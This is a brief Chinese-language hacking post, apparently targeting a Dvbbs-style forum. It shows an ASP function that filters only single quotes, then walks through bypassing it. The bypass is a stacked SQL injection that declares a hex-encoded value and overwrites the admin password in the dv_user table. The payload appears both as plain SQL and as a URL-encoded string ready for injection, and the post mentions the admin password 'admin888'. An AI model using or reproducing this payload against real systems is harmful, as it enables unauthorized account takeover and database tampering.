Public Function Checkstr(Str) If Isnull(Str) Then CheckStr = "" Exit Function End If Str = Replace(Str,Chr(0),"") CheckStr = Replace(Str,"'","''") End Function 很明显过滤了单引号。。。。我们这样来饶过 还是修改一下密码吧,现在ADMIN的密码是admin888,我们来把他修改成123456[/code]declare @a sysname select @a=0x3400390062006100350039006100620062006500350036006500300035003700 update [dv_user] set userpassword=@a where userid=1[/code]这样可以修改成功!!!我们把他改回来 %3Bdeclare+@a+sysname+select+@a%3D0x3400390062006100350039006100620062006500350036006500300035003700+update+dv%5Fuser+set+userpassword%3D@a+where+userid%3D1